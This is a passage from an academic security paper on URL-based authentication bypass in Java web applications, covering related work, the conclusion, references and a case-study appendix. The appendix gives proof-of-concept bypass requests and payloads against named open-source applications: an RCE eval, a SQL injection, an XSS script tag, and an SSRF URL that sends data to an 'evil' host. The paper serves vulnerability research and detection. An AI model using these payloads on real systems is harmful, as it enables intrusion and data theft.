broken access control vulnerabilities in web applications. Static                      inconsistent transformations to user input, creating exploitable se-
analysis approaches such as FixMeUp [59] and RoleCast [58] aim                         curity gaps. Prior work [51] has shown that inconsistencies between
to detect omitted access-control logic. FixMeUp [59] synthesizes                       server-side sanitizers and browser parsers can enable mutation-
reusable access-control templates from correct checks to identify                      based XSS attacks due to parser divergences. Others [42, 46] have
and repair missing enforcement, while RoleCast [58] infers                             used formal models to precisely characterize the behavior of sani-
role-specific access-control logic from code structure to detect                       tizers, enabling automated reasoning about properties (e.g., com-
inconsistencies without requiring prior specifications. Similarly,                     mutativity and equivalence), and identifying inconsistencies that
MPChecker [55] uses log-based analysis to infer user- and                              could lead to bypasses.
system-related privilege operations in distributed systems and                            Our work shares the core insight that security flaws can arise
verifies whether they are properly guarded by permission checks.                       from inconsistent processing across systems. While prior studies
   Another line of work [47, 54] targets Missing-Owner-Check                           focus on inconsistencies between different sanitizers, we examine
(MOC) vulnerabilities, where object-level authorization is absent or                   mismatches in how URL paths are handled by routing and authen-
incomplete. BolaRay [47] and MOCGuard [54] both adopt database-                        tication components, which can lead to UABVuln.
centric analysis to infer ownership relationships and determine
whether proper access control is enforced across SQL and applica-                      8    Conclusion
tion logic layers.
   Complementary to static approaches, VSF [44] and Batman [53]                        In this paper, we present the first in-depth study of 53 real-world
adopt black-box techniques to uncover improper access control.                         historical UABVulns in Java web applications to understand their
VSF [44] detects vulnerabilities by swapping user identifiers across                   underlying causes. We propose UABScan, a novel tool for detecting
accounts to expose unauthorized access, whereas Batman [53] infers                     UABVulns by matching routing and authentication inconsistencies
access policies by analyzing database queries to generate targeted                     through pattern-based analysis. We evaluate UABScan on 529 real-
test inputs without requiring access to source code.                                   world applications, reporting 94 UABVulns across 72 applications,
   In contrast, we focus on UABVuln, another subclass of broken                        including 35 verified high-risk 0-days, with 31 CVE IDs assigned.
access control vulnerabilities, where inconsistencies between rout-                    We believe our work will aid in improving the security of Java web
ing and authentication logic lead to the unintended exposure of                        applications by addressing UABVulns.
sensitive endpoints that are not protected by any permission or
ownership checks, resulting in significant security risks.                             References
                                                                                        [1] Burp suite extensions . https://portswigger.net/burp/documentation/desktop/
URL-Related Vulnerability Detection. The complexity of URL                                  extend-burp/extensions.
structures creates various attack surfaces, which can be broadly cat-                   [2] BypassPro on Github . https://github.com/0x727/BypassPro.
egorized into client-side and server-side vulnerabilities. Client-side                  [3] Configuration of Spring framework . https://docs.spring.io/spring-boot/docs/2.1.
                                                                                            x/reference/html/boot-features-developing-web-applications.html.
research [49, 50] focuses on detecting open redirect vulnerabilities,                   [4] Hahu on Github . https://github.com/fanchaoo/hahu.
while other studies [40, 41, 52, 57] address phishing attacks caused                    [5] HttpServletRequest interface documentation . https://docs.oracle.com/javaee/6/
                                                                                            api/javax/servlet/http/HttpServletRequest.html.
by misleading URL hosts. On the server side, research [48, 63, 65, 66]                  [6] Itranswarp on Github . https://github.com/michaelliao/itranswarp.
investigates SSRF vulnerabilities arising from URL host parsing in-                     [7] My-site on Github . https://github.com/WinterChenS/my-site.
consistencies, and [64] explores attacks that deceive server-side                       [8] Radar on Github . https://github.com/wfh45678/radar.
                                                                                        [9] The official website of Github, . https://github.com/.
middleboxes by exploiting URL parsing ambiguities. While these                         [10] URL-based authentication . https://6sense.com/tech/libraries-and-widgets/
studies primarily target other vulnerabilities, our work focuses on                         apache-shiro-market-share.
CCS ’25, October 13–17, 2025, Taipei                                                                                          Qiyi Zhang, Fengyu Liu, Zihan Lin, and Yuan Zhang


[11] URL-based authentication .          https://theirstack.com/en/technology/spring-             Security Symposium, 2009.
     security.                                                                               [46] Pieter Hooimeijer, Benjamin Livshits, David Molnar, Prateek Saxena, and Margus
[12] Business logic vulnerability. https://owasp.org/www-community/vulnerabilities/               Veanes. Fast and precise sanitizer analysis with 𝑏𝑒𝑘 . In 20th USENIX Security
     Business_logic_vulnerability.                                                                Symposium, 2011.
[13] CISA adds two known exploited vulnerabilities to catalog.                      https:   [47] Yongheng Huang, Chenghang Shi, Jie Lu, Haofeng Li, Haining Meng, and Lian Li.
     //www.cisa.gov/news-events/alerts/2024/08/07/cisa-adds-two-known-                            Detecting broken object-level authorization vulnerabilities in database-backed
     exploited-vulnerabilities-catalog.                                                           applications. In Proceedings of the 2024 on ACM SIGSAC Conference on Computer
[14] Common weakness enumeration. https://cwe.mitre.org/.                                         and Communications Security, pages 2934–2948, 2024.
[15] Critical JetBrains TeamCity vulnerabilities under attack.                      https:   [48] Bahruz Jabiyev, Omid Mirzaei, Amin Kharraz, and Engin Kirda. Preventing server-
     //www.techtarget.com/searchsecurity/news/366572432/Critical-JetBrains-                       side request forgery attacks. In Proceedings of the 36th Annual ACM Symposium
     TeamCity-vulnerabilities-under-attack.                                                       on Applied Computing, pages 1626–1635, 2021.
[16] Elasticsearch documentation. https://www.elastic.co/elasticsearch.                      [49] Soheil Khodayari, Thomas Barber, and Giancarlo Pellegrino. The great request
[17] Express web framework. https://expressjs.com/.                                               robbery: An empirical study of client-side request hijacking vulnerabilities on
[18] Forum: An open-source java web application. https://github.com/fanchaoo/                     the web. In Proceedings of 45th IEEE Symposium on Security and Privacy, 2024.
     forum.                                                                                  [50] Soheil Khodayari, Kai Glauber, and Giancarlo Pellegrino. Do (not) follow the
[19] GitHub milestones documentation. https://docs.github.com/en/issues/using-                    white rabbit: Challenging the myth of harmless open redirection. In NDSS, 2025.
     labels-and-milestones-to-track-work/about-milestones.                                   [51] David Klein and Martin Johns. Parse me, baby, one more time: Bypassing html
[20] Groovy language syntax documentation. https://groovy-lang.org/syntax.html.                   sanitizer via parsing differentials. In 2024 IEEE Symposium on Security and Privacy
[21] Interceptors in Spring framework. https://docs.spring.io/spring-framework/                   (SP), pages 203–221. IEEE, 2024.
     reference/web/webmvc/mvc-config/interceptors.html.                                      [52] Anh Le, Athina Markopoulou, and Michalis Faloutsos. Phishdef: Url names say
[22] Is Java still used in 2025? https://www.netguru.com/blog/is-java-still-used-in-              it all. In 2011 Proceedings IEEE INFOCOM, pages 191–195. IEEE, 2011.
     2025.                                                                                   [53] Xiaowei Li, Xujie Si, and Yuan Xue. Automated black-box detection of access con-
[23] JakartaEE developer survey. https://jakarta.ee/documents/insights/2018-jakarta-              trol vulnerabilities in web applications. In Proceedings of the 4th ACM Conference
     ee-developer-survey.pdf.                                                                     on Data and Application Security and Privacy, pages 49–60, 2014.
[24] Java Servlet Filter interface documentation. https://docs.oracle.com/javaee/7/          [54] Fengyu Liu, Youkun Shi, Yuan Zhang, Guangliang Yang, Enhao Li, and Min Yang.
     api/javax/servlet/Filter.html.                                                               Mocguard: Automatically detecting missing-owner-check vulnerabilities in java
[25] JWT attacks. https://portswigger.net/web-security/jwt.                                       web applications. In 2025 IEEE Symposium on Security and Privacy (SP), pages
[26] Laravel web framework. https://laravel.com/.                                                 10–10. IEEE Computer Society, 2024.
[27] Path traversal (Web Security Academy). https://portswigger.net/web-security/            [55] Jie Lu, Haofeng Li, Chen Liu, Lian Li, and Kun Cheng. Detecting missing-
     file-path-traversal.                                                                         permission-check vulnerabilities in distributed cloud systems. In Proceedings
[28] Rebuild: An open-source web application. https://github.com/getrebuild/rebuild.              of the 2022 ACM SIGSAC Conference on Computer and Communications Security,
[29] Spring dominates the java ecosystem, with 60% using it for their main appli-                 pages 2145–2158, 2022.
     cations. https://snyk.io/blog/spring-dominates-the-java-ecosystem-with-60-              [56] Changhua Luo, Penghui Li, and Wei Meng. Tchecker: Precise static inter-
     using-it-for-their-main-applications/.                                                       procedural analysis for detecting taint-style vulnerabilities in php applications. In
[30] Spring framework expressions documentation. https://docs.spring.io/spring-                   Proceedings of the 2022 ACM SIGSAC Conference on Computer and Communications
     framework/docs/3.0.x/reference/expressions.html.                                             Security, pages 2175–2188, 2022.
[31] Spring MVC DispatcherServlet documentation. https://docs.spring.io/spring-              [57] Joshua Reynolds, Adam Bates, and Michael Bailey. Equivocal urls: Understanding
     framework/reference/web/webmvc/mvc-servlet.html.                                             the fragmented space of url parser implementations. In European Symposium on
[32] Spring routing issue #23915.           https://github.com/spring-projects/spring-            Research in Computer Security, pages 166–185. Springer, 2022.
     framework/issues/23915.                                                                 [58] Sooel Son, Kathryn S McKinley, and Vitaly Shmatikov. Rolecast: finding missing
[33] The code case of the ’Contain’ check in the study. https://github.com/Jarrettluo/            security checks when you do not know what checks are. In Proceedings of the 2011
     all-docs/blob/137870bf9fc15847d1f1cb50a1ad22b9817fd449/src/main/java/com/                    ACM international conference on Object oriented programming systems languages
     jiaruiblog/filter/JwtFilter.java#L47C27-L47C32.                                              and applications, pages 1069–1084, 2011.
[34] The code case of the ’End with’ check in the study. https://github.com/dataease/        [59] Sooel Son, Kathryn S McKinley, and Vitaly Shmatikov. Fix me up: Repairing
     dataease/blob/0bb66e84a1b88129f30fb01fe5b50aeb5a48300d/sdk/common/src/                       access-control bugs in web applications. In NDSS. Citeseer, 2013.
     main/java/io/dataease/utils/WhitelistUtils.java#L70.                                    [60] Fangqi Sun, Liang Xu, and Zhendong Su. Static detection of access control
[35] The code case of the ’Start with’ check in the study. https://github.com/newbee-             vulnerabilities in web applications. In 20th USENIX Security Symposium, 2011.
     ltd/newbee-mall/blob/427f579a03c3cbbf3bb672eaad8c0f0ce6f47f68/src/main/                 [61] Lin Tan, Xiaolan Zhang, Xiao Ma, Weiwei Xiong, and Yuanyuan Zhou. Autoises:
     java/ltd/newbee/mall/interceptor/AdminLoginInterceptor.java#L32.                             Automatically inferring security specification and detecting violations. In USENIX
[36] The official document of Spring framework. https://docs.spring.io/spring-boot/               Security Symposium, pages 379–394, 2008.
     docs/2.1.x/reference/html/common-application-properties.html.                           [62] Tian Tan and Yue Li. Tai-e: A developer-friendly static analysis framework
[37] Turn off useSuffixPatternMatching by default. https://github.com/spring-                     for java by harnessing the good designs of classics. In Proceedings of the 32nd
     projects/spring-framework/issues/23915.                                                      ACM SIGSOFT International Symposium on Software Testing and Analysis, pages
[38] Uniform resource identifier (URI). https://www.rfceditor.org/rfc/rfc3986.                    1093–1105, 2023.
[39] Jafar Akhoundali, Hamidreza Hamidi, Kristian Rietveld, and Olga Gadyatskaya.            [63] Cheng-Da Tsai. A new era of ssrf - exploiting url parser in trending programming
     Eradicating the unseen: Detecting, exploiting, and remediating a path traversal              languages! In Black Hat USA, 2017.
     vulnerability across github. arXiv preprint arXiv:2505.20186, 2025.                     [64] Cheng-Da Tsai. Breaking parser logic! take your path normalization off and pop
[40] Ali Aljofey, Qingshan Jiang, Qiang Qu, Mingqing Huang, and Jean-Pierre Niyi-                 0days out. In Black Hat USA, 2018.
     gena. An effective phishing detection model based on character level convolu-           [65] Enze Wang, Jianjun Chen, Wei Xie, Chuhan Wang, Yifei Gao, Zhenhua Wang,
     tional neural network from url. Electronics, 9(9):1514, 2020.                                Haixin Duan, Yang Liu, and Baosheng Wang. Where urls become weapons:
[41] Kholoud Althobaiti, Ghaidaa Rummani, and Kami Vaniea. A review of human-                     Automated discovery of ssrf vulnerabilities in web applications. In 2024 IEEE
     and computer-facing url phishing features. In 2019 IEEE European symposium on                Symposium on Security and Privacy (SP). IEEE Computer Society, 2024.
     security and privacy workshops (EuroS&PW), pages 182–191. IEEE, 2019.                   [66] Malte Wessels, Simon Koch, Giancarlo Pellegrino, and Martin Johns. Ssrf vs.
[42] George Argyros, Ioannis Stais, Aggelos Kiayias, and Angelos D Keromytis. Back                developers: A study of ssrf-defenses in php applications. In 33rd USENIX Security
     in black: towards formal, black box analysis of sanitizers and filters. In 2016 IEEE         Symposium, pages 6777–6794, 2024.
     Symposium on Security and Privacy (SP), pages 91–109. IEEE, 2016.                       [67] Chendong Yu, Yang Xiao, Jie Lu, Yuekang Li, Yeting Li, Lian Li, Yifan Dong, Jian
[43] Davide Balzarotti, Marco Cova, Vika Felmetsger, Nenad Jovanovic, Engin Kirda,                Wang, Jingyi Shi, et al. File hijacking vulnerability: The elephant in the room. In
     Christopher Kruegel, and Giovanni Vigna. Saner: Composing static and dynamic                 Proceedings of the Network and Distributed System Security Symposium, 2024.
     analysis to validate sanitization in web applications. In 2008 IEEE Symposium on        [68] Xiaowei Zhang, Shigang Liu, Jun Zhang, and Yang Xiang. Ptfix: Rule-based and
     Security and Privacy (SP), pages 387–401. IEEE, 2008.                                        llm techniques for java path traversal vulnerability. In International Conference
[44] Saiid El Hajj Chehade, Florian Hantke, and Ben Stock. 403 forbidden? ethically               on Data Security and Privacy Protection, pages 276–293. Springer, 2024.
     evaluating broken access control in the wild. In 2025 IEEE Symposium on Security        [69] Jun Zhu, Bill Chu, Heather Lipford, and Tyler Thomas. Mitigating access control
     and Privacy (SP), pages 3218–3235. IEEE, 2025.                                               vulnerabilities through interactive static analysis. In Proceedings of the 20th ACM
[45] Michael Dalton, Christos Kozyrakis, and Nickolai Zeldovich. Nemesis: Preventing              Symposium on Access Control Models and Technologies, pages 199–209, 2015.
     authentication & access control vulnerabilities in web applications. In USENIX
  Be Aware of What You Let Pass: Demystifying URL-based Authentication Bypass Vulnerability in Java Web Applications             CCS ’25, October 13–17, 2025, Taipei


  A     Case Study                                                                     1 boolean preHandle(ServletRequest req, ServletResponse resp) {
  Figure 3, Figure 4, Figure 5, Figure 6 and Figure 7 present simplified               2     String requestUri = requestEntry.getRequestUri();
                                                                                       3     if (isIgnoreAuth(requestUri) == false) {
  code snippets in §5.5.                                                               4         return true; // let pass
                                                                                       5     } return doAuth(); // check auth
                                                                                       6 }
                                                                                       7 @GetMapping("/admin/rbstore/load-index") // sensitive handler
 1 void doFilter(ServletRequest req, ..., FilterChain chain) {                         8 JSONAware loadDataIndex(ServletRequest request) {
 2     String uri = req.getRequestURI();                                               9     String type = getParameterNotNull(request, "type"); ...
 3     if (skipURI.matcher(uri).matches()) { // skipURI: .*/login.*                   10     index = RBStore.fetchJson(type + "/index.json"); // SSRF sink
 4         chain.doFilter(req, ...);   // let pass                                    11     ... }
 5     } doAuth();   // check auth
 6     ... }
 7 @PostMapping("/dataSetParam/verification") // sensitive handler                                    (a) The vulnerable code that can lead to SSRF.
 8 ResponseBean verification(
 9     @RequestBody DataSetParam param
10 ) { ...                                                                             1 server.servlet.context-path=/demo
11     eval(param); // perform sensitive expression evaluation                         2 http://ip:port/user/../demo/admin/rbstore/load-index?type=
12 }                                                                                           ↩→ http://evil:port/<sensitive data>


                 (a) The vulnerable code that enables RCE.                                                  (b) The PoC and malicious payload

1 server.servlet.context-path=/demo                                                            Figure 5: The SSRF case from application rebuild.
2 http://ip:port/login/../demo/dataSetParam/verification
3 { "param" : "function verification(data) {(new
        ScriptEngineManager()).getEngineByExtension("js").eval("new
        ProcessBuilder(’touch’, ’/pwned’).start();"); }"
4
5 }

                                                                                       1 boolean preHandle(ServletRequest req, ServletResponse resp) {
                     (b) The PoC and malicious payload                                 2     String uri = req.getRequestURI();
                                                                                       3     if (... && !uri.startsWith("/admin/login") && user == null) {
                                                                                       4         return doAuth() // check auth
         Figure 3: The RCE case from application report.                               5     } ... return true; // let pass
                                                                                       6 }
                                                                                       7 @PostMapping("/admin/article/publish") // sensitive handler
                                                                                       8 public Response publishArticle(
                                                                                       9     String title, String content, String type, String status
                                                                                      10 ) { ContentDomain contentDomain = new ContentDomain();
                                                                                      11     contentDomain.setTitle(title); // XSS injected
 1 boolean preHandle(ServletRequest req, ServletResponse resp) {                      12     ... return Response.success(); }
 2   String path = ResourceUtil.getRequestPath(req);
 3   if ("rest/".equals(path.substring(0,5)))
 4     return true;                                                                                     (a) The vulnerable code that enables XSS.
 5   return doAuth(); // check auth
 6 }
 7 @RequestMapping("/cgReportController") // sensitive handler                         1 http://ip:port/admin/login/../comments/create
 8 public void datagrid(ServletRequest req, ...) {                                     2 { "title" : "<script>alert(xss)</script>", ... }
 9   String query = configM.get(CONFIG_SQL);
10   List<String> paramList = cgReportMap.get(PARAMS);
11   for(String param : paramList) {                                                                        (b) The PoC and malicious payload
12     String value = req.getParameter(param);
13     query = query.replace("${"+param+"}", value); // SQL injected
14   }                                                                                            Figure 6: The XSS case from application blog.
15 }


         (a) The vulnerable code that can lead to SQL injection.

1 POST http://ip:port/rest/../cgReportController.do
2 { "param1" : "-1 union select user(), 1,1,...)x – a’", ... }                         1 boolean preHandle(ServletRequest req, ServletResponse resp) {
                                                                                       2     String uri = req.getContextPath() + req.getServletPath();
                                                                                       3     // url path allowed without auth
                     (b) The PoC and malicious payload                                 4     if (uri.contains("/login")) {
                                                                                       5         return super.preHandle(request, response); // let pass
                                                                                       6     } return doAuth(); // check auth
                                                                                       7 }
   Figure 4: The SQL injection case from application JEEWMS.                           8 @RequestMapping("/user/get.do") // sensitive handler
                                                                                       9 public User get(Long id) {
                                                                                      10      return userService.getUserById(id);
                                                                                      11 }


                                                                                              (a) The vulnerable code that can lead to information leak.

                                                                                       1 server.servlet.context-path=/demo
                                                                                       2 http://ip:port/login/../demo/user/get.do


                                                                                                            (b) The PoC and malicious payload

                                                                                         Figure 7: The information leak case from application jobx.
